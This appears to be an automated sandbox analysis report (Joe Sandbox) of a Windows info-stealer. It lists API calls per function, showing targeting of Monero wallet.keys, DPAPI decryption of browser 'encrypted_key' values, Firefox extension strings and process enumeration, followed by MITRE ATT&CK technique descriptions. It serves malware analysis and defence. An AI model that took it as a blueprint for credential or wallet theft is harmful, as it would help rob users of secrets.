Part of subcall function 0013A740: lstrcpy.KERNEL32(00140E17,00000000), ref: 0013A788

Part of subcall function 0013A9B0: lstrlen.KERNEL32(?,00FF90A8,?,\Monero\wallet.keys,00140E17), ref: 0013A9C5
Part of subcall function 0013A9B0: lstrcpy.KERNEL32(00000000), ref: 0013AA04
Part of subcall function 0013A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0013AA12

Part of subcall function 0013A8A0: lstrcpy.KERNEL32(?,00140E17), ref: 0013A905

Part of subcall function 00138B60: GetSystemTime.KERNEL32(00140E1A,00FFA990,001405AE,?,?,001213F9,?,0000001A,00140E1A,00000000,?,00FF90A8,?,\Monero\wallet.keys,00140E17), ref: 00138B86

Part of subcall function 0013A920: lstrcpy.KERNEL32(00000000,?), ref: 0013A972
Part of subcall function 0013A920: lstrcat.KERNEL32(00000000), ref: 0013A982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0012D801
lstrlen.KERNEL32(00000000), ref: 0012D99F
lstrlen.KERNEL32(00000000), ref: 0012D9B3
DeleteFileA.KERNEL32(00000000), ref: 0012DA32

Memory Dump Source

Source File: 00000000.00000002.1815930346.0000000000121000.00000040.00000001.01000000.00000003.sdmp, Offset: 00120000, based on PE: true

Associated: 00000000.00000002.1815913744.0000000000120000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.00000000001D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.00000000001DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.0000000000202000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.000000000036A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000037E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000050A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.00000000005E7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.0000000000608000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000060F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000061E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816583562.000000000061F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816913937.00000000007BD000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_120000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: adc5d87fa4b6d630dd6bfc1e6393d81b54b2abf743f1327c3952232ae7ddbf0c
Instruction ID: 0fd299f3ae42378527bf85d0bacfe53e61d9c6e2c53855bfdf7dc01e62594fe6
Opcode Fuzzy Hash: adc5d87fa4b6d630dd6bfc1e6393d81b54b2abf743f1327c3952232ae7ddbf0c
Instruction Fuzzy Hash: 6B811572910118ABDB05FBA4DC96EEE733CAF24301F904568F547B7091EF746A09DBA2

Function 0012F4A0 Relevance: 6.2, APIs: 2, Strings: 2, Instructions: 154stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0013A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0013A7E6

Part of subcall function 001299C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 001299EC
Part of subcall function 001299C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00129A11
Part of subcall function 001299C0: LocalAlloc.KERNEL32(00000040,?), ref: 00129A31
Part of subcall function 001299C0: ReadFile.KERNEL32(000000FF,?,00000000,0012148F,00000000), ref: 00129A5A
Part of subcall function 001299C0: LocalFree.KERNEL32(0012148F), ref: 00129A90
Part of subcall function 001299C0: CloseHandle.KERNEL32(000000FF), ref: 00129A9A

Part of subcall function 00138E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00138E52

Part of subcall function 0013A740: lstrcpy.KERNEL32(00140E17,00000000), ref: 0013A788

Part of subcall function 0013A9B0: lstrlen.KERNEL32(?,00FF90A8,?,\Monero\wallet.keys,00140E17), ref: 0013A9C5
Part of subcall function 0013A9B0: lstrcpy.KERNEL32(00000000), ref: 0013AA04
Part of subcall function 0013A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0013AA12

Part of subcall function 0013A8A0: lstrcpy.KERNEL32(?,00140E17), ref: 0013A905

Part of subcall function 0013A920: lstrcpy.KERNEL32(00000000,?), ref: 0013A972
Part of subcall function 0013A920: lstrcat.KERNEL32(00000000), ref: 0013A982

StrStrA.SHLWAPI(00000000,00000000,00000000,?,?,00000000,?,00141580,00140D92), ref: 0012F54C
lstrlen.KERNEL32(00000000), ref: 0012F56B

Strings

moz-extension+++, xrefs: 0012F5AD
^userContextId=4294967295, xrefs: 0012F59C

Memory Dump Source

Source File: 00000000.00000002.1815930346.0000000000121000.00000040.00000001.01000000.00000003.sdmp, Offset: 00120000, based on PE: true

Associated: 00000000.00000002.1815913744.0000000000120000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.00000000001D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.00000000001DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.0000000000202000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.000000000036A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000037E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000050A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.00000000005E7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.0000000000608000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000060F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000061E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816583562.000000000061F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816913937.00000000007BD000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_120000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$FileLocal$Alloclstrcatlstrlen$CloseCreateFreeHandleReadSize
String ID: ^userContextId=4294967295$moz-extension+++
API String ID: 998311485-3310892237
Opcode ID: 3bd715fe8655244bb68249ee062c14270563e4b2f26bef0abbe2a7a4ffccde74
Instruction ID: b55d72606e14c63905c0263a9cf55cade023cdc2bec841cd2c73fbefa65b76a8
Opcode Fuzzy Hash: 3bd715fe8655244bb68249ee062c14270563e4b2f26bef0abbe2a7a4ffccde74
Instruction Fuzzy Hash: 1B51E171D10108ABDB04FBF4EC96DED7379AF64300F808568F956A7191EF346A19CBA2

Function 00133560 Relevance: 6.1, APIs: 4, Instructions: 124COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1815930346.0000000000121000.00000040.00000001.01000000.00000003.sdmp, Offset: 00120000, based on PE: true

Associated: 00000000.00000002.1815913744.0000000000120000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.00000000001D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.00000000001DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.0000000000202000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.000000000036A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000037E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000050A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.00000000005E7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.0000000000608000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000060F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000061E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816583562.000000000061F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816913937.00000000007BD000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_120000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen
String ID:
API String ID: 367037083-0
Opcode ID: de051aaaf1f13d6950395b75a2cccff23ab5f8e7239c63f3b5b7180c243c48f1
Instruction ID: 2e63ed2acd2df73d0b83a03c27ff86f52707bcfa3cf35a90715b47d73d376e35
Opcode Fuzzy Hash: de051aaaf1f13d6950395b75a2cccff23ab5f8e7239c63f3b5b7180c243c48f1
Instruction Fuzzy Hash: ED4172B1D10109AFCB04EFE5D886AFEB774AF58304F408418F51677251DB75AA09CFA6

Function 00129CE0 Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 98COMMON

Download Yara Rule

APIs

Part of subcall function 0013A740: lstrcpy.KERNEL32(00140E17,00000000), ref: 0013A788

Part of subcall function 001299C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 001299EC
Part of subcall function 001299C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00129A11
Part of subcall function 001299C0: LocalAlloc.KERNEL32(00000040,?), ref: 00129A31
Part of subcall function 001299C0: ReadFile.KERNEL32(000000FF,?,00000000,0012148F,00000000), ref: 00129A5A
Part of subcall function 001299C0: LocalFree.KERNEL32(0012148F), ref: 00129A90
Part of subcall function 001299C0: CloseHandle.KERNEL32(000000FF), ref: 00129A9A

Part of subcall function 00138E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00138E52

StrStrA.SHLWAPI(00000000,"encrypted_key":"), ref: 00129D39

Part of subcall function 00129AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00124EEE,00000000,00000000), ref: 00129AEF
Part of subcall function 00129AC0: LocalAlloc.KERNEL32(00000040,?,?,?,00124EEE,00000000,?), ref: 00129B01
Part of subcall function 00129AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00124EEE,00000000,00000000), ref: 00129B2A
Part of subcall function 00129AC0: LocalFree.KERNEL32(?,?,?,?,00124EEE,00000000,?), ref: 00129B3F

Part of subcall function 00129B60: CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 00129B84
Part of subcall function 00129B60: LocalAlloc.KERNEL32(00000040,00000000), ref: 00129BA3
Part of subcall function 00129B60: LocalFree.KERNEL32(?), ref: 00129BD3

Strings

DPAPI, xrefs: 00129D89
, xrefs: 00129DC1
"encrypted_key":", xrefs: 00129D30

Memory Dump Source

Source File: 00000000.00000002.1815930346.0000000000121000.00000040.00000001.01000000.00000003.sdmp, Offset: 00120000, based on PE: true

Associated: 00000000.00000002.1815913744.0000000000120000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.00000000001D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.00000000001DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.0000000000202000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.000000000036A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000037E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000050A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.00000000005E7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.0000000000608000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000060F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000061E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816583562.000000000061F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816913937.00000000007BD000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_120000_file.jbxd

Yara matches

Similarity

API ID: Local$Alloc$CryptFileFree$BinaryString$CloseCreateDataHandleReadSizeUnprotectlstrcpy
String ID: $"encrypted_key":"$DPAPI
API String ID: 2100535398-738592651
Opcode ID: c873ca61742c96c31498d4a15500b8eb8ae758db284da197ec43ee85959320ab
Instruction ID: 388b7fd6718e6a016569780c2a3756536e966509865bfa4bbf59caf5ee809958
Opcode Fuzzy Hash: c873ca61742c96c31498d4a15500b8eb8ae758db284da197ec43ee85959320ab
Instruction Fuzzy Hash: 74311CB6D1021DABCF04DBE8EC85FEEB7B8AF58304F144519E905A7241EB709A54CBA1

Function 00138680 Relevance: 6.1, APIs: 4, Instructions: 77processCOMMON

Download Yara Rule

APIs

Part of subcall function 0013A740: lstrcpy.KERNEL32(00140E17,00000000), ref: 0013A788

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,001405B7), ref: 001386CA
Process32First.KERNEL32(?,00000128), ref: 001386DE
Process32Next.KERNEL32(?,00000128), ref: 001386F3

Part of subcall function 0013A9B0: lstrlen.KERNEL32(?,00FF90A8,?,\Monero\wallet.keys,00140E17), ref: 0013A9C5
Part of subcall function 0013A9B0: lstrcpy.KERNEL32(00000000), ref: 0013AA04
Part of subcall function 0013A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0013AA12

Part of subcall function 0013A8A0: lstrcpy.KERNEL32(?,00140E17), ref: 0013A905

CloseHandle.KERNEL32(?), ref: 00138761

Memory Dump Source

Source File: 00000000.00000002.1815930346.0000000000121000.00000040.00000001.01000000.00000003.sdmp, Offset: 00120000, based on PE: true

Associated: 00000000.00000002.1815913744.0000000000120000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.00000000001D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.00000000001DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.0000000000202000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.000000000036A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000037E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000050A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.00000000005E7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.0000000000608000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000060F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000061E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816583562.000000000061F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816913937.00000000007BD000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_120000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Process32$CloseCreateFirstHandleNextSnapshotToolhelp32lstrcatlstrlen
String ID:
API String ID: 1066202413-0
Opcode ID: bf8071f652ef7841f4cc3299d500f7ed52a4139b731ab474d8aa5c6757a25477
Instruction ID: daddc130a7366ff92a93d048a902fa16e988096b1ab6040cabcdab4ac9f762c1
Opcode Fuzzy Hash: bf8071f652ef7841f4cc3299d500f7ed52a4139b731ab474d8aa5c6757a25477
Instruction Fuzzy Hash: 96316871901218ABCB25EF90DC91FEEB778EF59700F5081A9F10AB21A0DB706A45CFA1

Function 00137980 Relevance: 6.1, APIs: 4, Instructions: 51memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00140E00,00000000,?), ref: 001379B0
RtlAllocateHeap.NTDLL(00000000), ref: 001379B7
GetLocalTime.KERNEL32(?,?,?,?,?,00140E00,00000000,?), ref: 001379C4
wsprintfA.USER32 ref: 001379F3

Memory Dump Source

Source File: 00000000.00000002.1815930346.0000000000121000.00000040.00000001.01000000.00000003.sdmp, Offset: 00120000, based on PE: true

Associated: 00000000.00000002.1815913744.0000000000120000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.00000000001D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.00000000001DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.0000000000202000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.000000000036A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000037E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000050A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.00000000005E7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.0000000000608000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000060F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000061E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816583562.000000000061F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816913937.00000000007BD000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_120000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateLocalProcessTimewsprintf
String ID:
API String ID: 377395780-0
Opcode ID: 5ba5530d34ab1190a7a4d648cc9913f2eba15daaf4dc5b1b4581749705702735
Instruction ID: 691ec6cdae4f213b9700234fccd63293175673b5c5eca9f6645c2b8ea2915c06
Opcode Fuzzy Hash: 5ba5530d34ab1190a7a4d648cc9913f2eba15daaf4dc5b1b4581749705702735
Instruction Fuzzy Hash: D51118B2904518AACB149FC9ED45BBEBBFCEB48B11F10411AF605A2280D3795940CBB1

Function 001392E0 Relevance: 6.0, APIs: 4, Instructions: 39fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00133AEE,80000000,00000003,00000000,00000003,00000080,00000000,?,00133AEE,?), ref: 001392FC
GetFileSizeEx.KERNEL32(000000FF,00133AEE), ref: 00139319
CloseHandle.KERNEL32(000000FF), ref: 00139327

Memory Dump Source

Source File: 00000000.00000002.1815930346.0000000000121000.00000040.00000001.01000000.00000003.sdmp, Offset: 00120000, based on PE: true

Associated: 00000000.00000002.1815913744.0000000000120000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.00000000001D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.00000000001DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.0000000000202000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.000000000036A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000037E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000050A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.00000000005E7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.0000000000608000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000060F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000061E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816583562.000000000061F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816913937.00000000007BD000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_120000_file.jbxd

Yara matches

Similarity

API ID: File$CloseCreateHandleSize
String ID:
API String ID: 1378416451-0
Opcode ID: ae1bb899389c2c1ba8528cbf6dbf0585b51dff921dab19de5dd5a5b4b783e74c
Instruction ID: 3bf44bd0f112e297bbf3f7db0b05bc07434180030ad7f62ab24677ce23c8b951
Opcode Fuzzy Hash: ae1bb899389c2c1ba8528cbf6dbf0585b51dff921dab19de5dd5a5b4b783e74c
Instruction Fuzzy Hash: D1F037B9E44208BBDB14DBF0DC49B9E77B9BB48720F11C254FA51B72C0DAB0AA018F45

Function 0013C742 Relevance: 6.0, APIs: 4, Instructions: 34COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 0013C74E

Part of subcall function 0013BF9F: __amsg_exit.LIBCMT ref: 0013BFAF

__getptd.LIBCMT ref: 0013C765
__amsg_exit.LIBCMT ref: 0013C773
__updatetlocinfoEx_nolock.LIBCMT ref: 0013C797

Memory Dump Source

Source File: 00000000.00000002.1815930346.0000000000121000.00000040.00000001.01000000.00000003.sdmp, Offset: 00120000, based on PE: true

Associated: 00000000.00000002.1815913744.0000000000120000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.00000000001D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.00000000001DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.0000000000202000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.000000000036A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000037E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000050A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.00000000005E7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.0000000000608000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000060F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000061E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816583562.000000000061F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816913937.00000000007BD000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_120000_file.jbxd

Yara matches

Similarity

API ID: __amsg_exit__getptd$Ex_nolock__updatetlocinfo
String ID:
API String ID: 300741435-0
Opcode ID: 4c566a9830292a99c318934aeebd1157e3549e6ae0b12fa81be639d157bfc550
Instruction ID: 5de4c3afd4347153f745e81d9ca160f708ee7f81389da08f4b0ff1ec23867815
Opcode Fuzzy Hash: 4c566a9830292a99c318934aeebd1157e3549e6ae0b12fa81be639d157bfc550
Instruction Fuzzy Hash: 9FF0B4329083009BE721BBB8588775E37A06F10720F214149F904B72E2DB6459419FD6

Function 00134F40 Relevance: 5.1, APIs: 4, Instructions: 70stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00138DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00138E0B

lstrcat.KERNEL32(?,00000000), ref: 00134F7A
lstrcat.KERNEL32(?,00141070), ref: 00134F97
lstrcat.KERNEL32(?,00FF9098), ref: 00134FAB
lstrcat.KERNEL32(?,00141074), ref: 00134FBD

Part of subcall function 00134910: wsprintfA.USER32 ref: 0013492C
Part of subcall function 00134910: FindFirstFileA.KERNEL32(?,?), ref: 00134943

Part of subcall function 00134910: StrCmpCA.SHLWAPI(?,00140FDC), ref: 00134971
Part of subcall function 00134910: StrCmpCA.SHLWAPI(?,00140FE0), ref: 00134987
Part of subcall function 00134910: FindNextFileA.KERNEL32(000000FF,?), ref: 00134B7D
Part of subcall function 00134910: FindClose.KERNEL32(000000FF), ref: 00134B92

Memory Dump Source

Source File: 00000000.00000002.1815930346.0000000000121000.00000040.00000001.01000000.00000003.sdmp, Offset: 00120000, based on PE: true

Associated: 00000000.00000002.1815913744.0000000000120000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.00000000001D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.00000000001DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.0000000000202000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.000000000036A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000037E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000050A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.00000000005E7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.0000000000608000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000060F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000061E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816583562.000000000061F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816913937.00000000007BD000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_120000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Find$File$CloseFirstFolderNextPathwsprintf
String ID:
API String ID: 2667927680-0
Opcode ID: a60c91ba3aa04d565cfcf5278e8eafd8f0208f7b16be32ecf58302250f671298
Instruction ID: 6fe309fc72df74a1268157b22e813a63da9d0445af8a9607dbc9e3595d2a7f2f
Opcode Fuzzy Hash: a60c91ba3aa04d565cfcf5278e8eafd8f0208f7b16be32ecf58302250f671298
Instruction Fuzzy Hash: 81219B7690021467C755F7B0EC46EED377CAB65300F008598F69AA3191EFB596C88F92

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

